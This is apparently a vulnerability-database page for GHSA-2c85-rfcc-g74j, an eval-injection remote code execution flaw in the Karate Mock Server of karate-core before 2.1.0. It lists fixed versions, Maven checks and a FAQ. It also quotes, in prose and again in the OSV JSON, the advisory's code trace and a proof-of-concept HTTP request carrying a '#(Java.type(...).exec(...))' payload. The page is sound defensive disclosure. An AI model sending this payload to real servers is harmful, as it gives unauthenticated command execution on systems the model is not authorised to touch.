Vulnerabilities in pkg:maven/io.karatelabs/karate-core

PACKAGE
Advisory Summary

GHSA-2c85-rfcc-g74j is a HIGH remote code execution vulnerability (CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')) affecting Karate core libraries in the Maven ecosystem. The issue involves karate mock server rce via embedded expression evaluation of request-derived data. Remediation is available by upgrading affected packages to version 2.1.0.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:maven/io.karatelabs/karate-core

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:maven/io.karatelabs/karate-core. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-2c85-rfcc-g74j - HIGH Karate Mock Server RCE via embedded expression evaluation of request-derived data

GHSA-2c85-rfcc-g74j at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-2c85-rfcc-g74j
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
Affected Product Karate core
Package Ecosystem Maven
Published Date
Last Updated

How to Fix GHSA-2c85-rfcc-g74j

To remediate this vulnerability, upgrade all affected Karate core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

io.karatelabs:karate-core fixed: 2.1.0
<dependency>
    <groupId>io.karatelabs</groupId>
    <artifactId>karate-core</artifactId>
    <version>2.1.0</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=io.karatelabs

How to Check if You Are Affected

To determine whether your Java application is affected by GHSA-2c85-rfcc-g74j, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=io.karatelabs

Analyze the terminal output to locate any version of Karate core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.0), your application is affected.

Note: The mvn dependency:tree -Dincludes=io.karatelabs command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection'), where the product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval"). In Karate core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Karate Mock Server can execute embedded expressions found in attacker-controlled HTTP request data when a Mock Server feature assigns request-derived values such as `request`, `requestHeaders`, or `requestParams` to variables. In affected scenarios, an unauthenticated remote attacker can place a Karate embedded expression such as `#(Java.type(...))` in the HTTP body, headers, or query parameters. The Mock Server then recursively processes that untrusted data as embedded expressions and evaluates it server-side, which can lead to arbitrary command execution under the privileges of the Karate Mock Server process. This issue does not require the attacker to control the feature file. The vulnerable precondition is that the Mock Server feature uses request-derived data in a way that passes through Karate expression evaluation, for example: ```karate * def body = request * def hdrs = requestHeaders * def params = requestParams ``` ### Details The issue is caused by a missing trust boundary between HTTP request-derived data and Karate feature-authored embedded expressions. In `MockHandler`, the current HTTP request is stored and request-derived values are exposed to the Karate runtime. For example, the request body is made available through the `request` binding: ```java // MockHandler.java this.currentRequest = request; request.processBody(); engine.put("request", (JsLazy) () -> currentRequest != null ? currentRequest.getBodyConverted() : null); ``` `HttpRequest.getBodyConverted()` converts attacker-controlled JSON request bodies into Java objects such as `Map<String, Object>`: ```java // HttpRequest.java public Object getBodyConverted() { ResourceType rt = getResourceType(); if (rt != null && rt.isBinary()) { return body; } return HttpUtils.fromBytes(body, false, rt); } ``` When a Mock Server feature contains a step such as: ```karate * def body = request ``` the expression `request` is evaluated by `StepExecutor.executeDef()` through `evalKarateExpression()`: ```java // StepExecutor.java Object value = evalKarateExpression(expr); runtime.setVariable(name, value); ``` Inside `evalKarateExpression()`, the evaluated value is processed as embedded-expression content if it is a `Map` or `List`: ```java // StepExecutor.java Object value = runtime.eval(wrapJsonLikeExpression(expr)); if (value instanceof Map || value instanceof List) { value = processEmbeddedExpressions(value, true); } ``` This is the vulnerable trust-boundary violation. The `Map` originates from the attacker-controlled HTTP request body, but Karate recursively treats its string values as possible embedded expressions. `processEmbeddedExpressions()` recursively walks nested maps/lists and sends string values to `processEmbeddedString()`: ```java // StepExecutor.java } else if (value instanceof String str) { return processEmbeddedString(str, lenient); } ``` `processEmbeddedString()` treats strings of the form `#(...)` as embedded expressions and evaluates them: ```java // StepExecutor.java if (str.startsWith("#(") && str.endsWith(")")) { String expr = str.substring(2, str.length() - 1); try { return runtime.eval(expr); ``` Because the Karate runtime supports Java interop through `Java.type(...)`, attacker-controlled request data can reach Java class loading and command execution. The same issue applies to other request-derived bindings, such as `requestHeaders` and `requestParams`, when a Mock Server feature assigns them or otherwise passes them through Karate expression evaluation. The important point is that the attacker does not need to control the feature file. The feature author only needs to assign request-derived data such as `request`, `requestHeaders`, or `requestParams`; the framework then automatically performs embedded-expression evaluation on attacker-controlled data. ### PoC A minimal vulnerable Mock Server feature is: ```karate Feature: demo Background: * def responseHeaders = { 'Content-Type': 'application/json' } Scenario: pathMatches('/api/echo') * def body = request * def response = { ok: true } ``` Start the Mock Server with the vulnerable feature: ```bash java -cp "<karate-core-and-runtime-classpath>" io.karatelabs.Main mock -p 18080 -m vuln.feature ``` http body is here: ```http POST /api/echo HTTP/1.1 Host: localhost:18080 Content-Type: application/json Content-Length: 87 {"poc": "#(Java.type('java.lang.Runtime').getRuntime().exec('sh -c id>/tmp/success'))"} ``` <img width="1051" height="558" alt="image" src="https://github.com/user-attachments/assets/f12c4631-dd22-439c-a8df-c7243726c0c4" /> Additional verified vectors: 1. Body vector: triggered when the feature assigns `request`. 2. Header vector: triggered when the feature assigns `requestHeaders`. 3. Query parameter vector: triggered when the feature assigns `requestParams`. These vectors demonstrate that the issue is not limited to a single HTTP input location. It affects request-derived data that is later passed through embedded expression processing. ### Impact An unauthenticated remote attacker can execute arbitrary operating-system commands on a server running an affected Karate Mock Server scenario. The impact depends on whether the Mock Server is reachable by untrusted users and whether the feature file assigns request-derived data such as `request`, `requestHeaders`, or `requestParams`. In that configuration, the attacker does not need credentials, user interaction, or control over the feature file. This can result in full compromise of the Mock Server process, including confidentiality, integrity, and availability impact for files, environment variables, network access, and credentials available to that process. ### Tested versions Confirmed on: * `io.karatelabs:karate-core` v2.0.10 * main branch commit `dff68200d`, project version `2.0.11.RC1` The same vulnerable code path appears to exist in v2.0.1 through v2.0.9. I am not claiming v1.x as affected without independent verification. ### Suggested remediation Karate should not automatically process embedded expressions inside data that originated from HTTP requests. Possible fixes include: 1. Preserve a trust boundary for request-derived values such as `request`, `requestHeaders`, and `requestParams`, and skip `processEmbeddedExpressions` for those values. 2. Add a Mock Server safe mode that disables or restricts `Java.type()` / Java interop while processing request data. 3. Require an explicit opt-in step for evaluating embedded expressions inside request-derived data. 4. Add regression tests for body, header, and query parameter injection where `#(Java.type(...))` must remain inert data instead of being evaluated.

GHSA-2c85-rfcc-g74j Affected Karate core Versions

1 component(s)
Fixed Versions:
2.1.0
Product / Package Ecosystem Affected Versions Fixed Version
io.karatelabs:karate-core
Maven
≥ 2.0.1
< 2.1.0
2.1.0

References

Frequently Asked Questions

What is GHSA-2c85-rfcc-g74j?
GHSA-2c85-rfcc-g74j is a security vulnerability in Karate core involving Karate Mock Server RCE via embedded expression evaluation of request-derived data under CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection').
Which Karate core versions are affected?
Affected versions include releases prior to 2.1.0 across affected packages: io.karatelabs:karate-core.
What version fixes GHSA-2c85-rfcc-g74j?
Upgrading to 2.1.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is karate-core affected?
Yes, io.karatelabs:karate-core is affected in releases prior to 2.1.0. Upgrade your dependency to 2.1.0 or later.
What CWE is associated with GHSA-2c85-rfcc-g74j?
GHSA-2c85-rfcc-g74j is classified under CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").).
How can I check Maven dependencies for GHSA-2c85-rfcc-g74j?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=io.karatelabs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2c85-rfcc-g74j",
  "modified" : "2026-06-18T13:06:46Z",
  "published" : "2026-06-18T13:06:46Z",
  "aliases" : [ ],
  "summary" : "Karate Mock Server RCE via embedded expression evaluation of request-derived data",
  "details" : "### Summary\n\nKarate Mock Server can execute embedded expressions found in attacker-controlled HTTP request data when a Mock Server feature assigns request-derived values such as `request`, `requestHeaders`, or `requestParams` to variables.\n\nIn affected scenarios, an unauthenticated remote attacker can place a Karate embedded expression such as `#(Java.type(...))` in the HTTP body, headers, or query parameters. The Mock Server then recursively processes that untrusted data as embedded expressions and evaluates it server-side, which can lead to arbitrary command execution under the privileges of the Karate Mock Server process.\n\nThis issue does not require the attacker to control the feature file. The vulnerable precondition is that the Mock Server feature uses request-derived data in a way that passes through Karate expression evaluation, for example:\n\n```karate\n* def body = request\n* def hdrs = requestHeaders\n* def params = requestParams\n```\n\n### Details\n\nThe issue is caused by a missing trust boundary between HTTP request-derived data and Karate feature-authored embedded expressions.\n\nIn `MockHandler`, the current HTTP request is stored and request-derived values are exposed to the Karate runtime. For example, the request body is made available through the `request` binding:\n\n```java\n// MockHandler.java\nthis.currentRequest = request;\nrequest.processBody();\n\nengine.put(\"request\", (JsLazy) () ->\n    currentRequest != null ? currentRequest.getBodyConverted() : null);\n```\n\n`HttpRequest.getBodyConverted()` converts attacker-controlled JSON request bodies into Java objects such as `Map<String, Object>`:\n\n```java\n// HttpRequest.java\npublic Object getBodyConverted() {\n    ResourceType rt = getResourceType();\n    if (rt != null && rt.isBinary()) { return body; }\n    return HttpUtils.fromBytes(body, false, rt);\n}\n```\n\nWhen a Mock Server feature contains a step such as:\n\n```karate\n* def body = request\n```\n\nthe expression `request` is evaluated by `StepExecutor.executeDef()` through `evalKarateExpression()`:\n\n```java\n// StepExecutor.java\nObject value = evalKarateExpression(expr);\nruntime.setVariable(name, value);\n```\n\nInside `evalKarateExpression()`, the evaluated value is processed as embedded-expression content if it is a `Map` or `List`:\n\n```java\n// StepExecutor.java\nObject value = runtime.eval(wrapJsonLikeExpression(expr));\nif (value instanceof Map || value instanceof List) {\n    value = processEmbeddedExpressions(value, true);\n}\n```\n\nThis is the vulnerable trust-boundary violation. The `Map` originates from the attacker-controlled HTTP request body, but Karate recursively treats its string values as possible embedded expressions.\n\n`processEmbeddedExpressions()` recursively walks nested maps/lists and sends string values to `processEmbeddedString()`:\n\n```java\n// StepExecutor.java\n} else if (value instanceof String str) {\n    return processEmbeddedString(str, lenient);\n}\n```\n\n`processEmbeddedString()` treats strings of the form `#(...)` as embedded expressions and evaluates them:\n\n```java\n// StepExecutor.java\nif (str.startsWith(\"#(\") && str.endsWith(\")\")) {\n    String expr = str.substring(2, str.length() - 1);\n    try {\n        return runtime.eval(expr);\n```\n\nBecause the Karate runtime supports Java interop through `Java.type(...)`, attacker-controlled request data can reach Java class loading and command execution.\n\nThe same issue applies to other request-derived bindings, such as `requestHeaders` and `requestParams`, when a Mock Server feature assigns them or otherwise passes them through Karate expression evaluation.\n\nThe important point is that the attacker does not need to control the feature file. The feature author only needs to assign request-derived data such as `request`, `requestHeaders`, or `requestParams`; the framework then automatically performs embedded-expression evaluation on attacker-controlled data.\n\n\n### PoC\n\nA minimal vulnerable Mock Server feature is:\n\n```karate\nFeature: demo\n\nBackground:\n* def responseHeaders = { 'Content-Type': 'application/json' }\n\nScenario: pathMatches('/api/echo')\n* def body = request\n* def response = { ok: true }\n```\n\nStart the Mock Server with the vulnerable feature:\n\n```bash\njava -cp \"<karate-core-and-runtime-classpath>\" io.karatelabs.Main mock -p 18080 -m vuln.feature\n```\nhttp body is here:\n```http\nPOST /api/echo HTTP/1.1\nHost: localhost:18080\nContent-Type: application/json\nContent-Length: 87\n\n{\"poc\": \"#(Java.type('java.lang.Runtime').getRuntime().exec('sh -c id>/tmp/success'))\"}\n```\n<img width=\"1051\" height=\"558\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f12c4631-dd22-439c-a8df-c7243726c0c4\" />\n\n\nAdditional verified vectors:\n\n1. Body vector: triggered when the feature assigns `request`.\n2. Header vector: triggered when the feature assigns `requestHeaders`.\n3. Query parameter vector: triggered when the feature assigns `requestParams`.\n\nThese vectors demonstrate that the issue is not limited to a single HTTP input location. It affects request-derived data that is later passed through embedded expression processing.\n\n### Impact\n\nAn unauthenticated remote attacker can execute arbitrary operating-system commands on a server running an affected Karate Mock Server scenario.\n\nThe impact depends on whether the Mock Server is reachable by untrusted users and whether the feature file assigns request-derived data such as `request`, `requestHeaders`, or `requestParams`. In that configuration, the attacker does not need credentials, user interaction, or control over the feature file.\n\nThis can result in full compromise of the Mock Server process, including confidentiality, integrity, and availability impact for files, environment variables, network access, and credentials available to that process.\n\n### Tested versions\n\nConfirmed on:\n\n* `io.karatelabs:karate-core` v2.0.10\n* main branch commit `dff68200d`, project version `2.0.11.RC1`\n\nThe same vulnerable code path appears to exist in v2.0.1 through v2.0.9.\n\nI am not claiming v1.x as affected without independent verification.\n\n### Suggested remediation\n\nKarate should not automatically process embedded expressions inside data that originated from HTTP requests.\n\nPossible fixes include:\n\n1. Preserve a trust boundary for request-derived values such as `request`, `requestHeaders`, and `requestParams`, and skip `processEmbeddedExpressions` for those values.\n2. Add a Mock Server safe mode that disables or restricts `Java.type()` / Java interop while processing request data.\n3. Require an explicit opt-in step for evaluating embedded expressions inside request-derived data.\n4. Add regression tests for body, header, and query parameter injection where `#(Java.type(...))` must remain inert data instead of being evaluated.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/U:Clear"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.karatelabs:karate-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.1"
      }, {
        "fixed" : "2.1.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.0.10"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/karatelabs/karate/security/advisories/GHSA-2c85-rfcc-g74j"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/karatelabs/karate"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-95" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-18T13:06:46Z",
    "nvd_published_at" : null
  }
}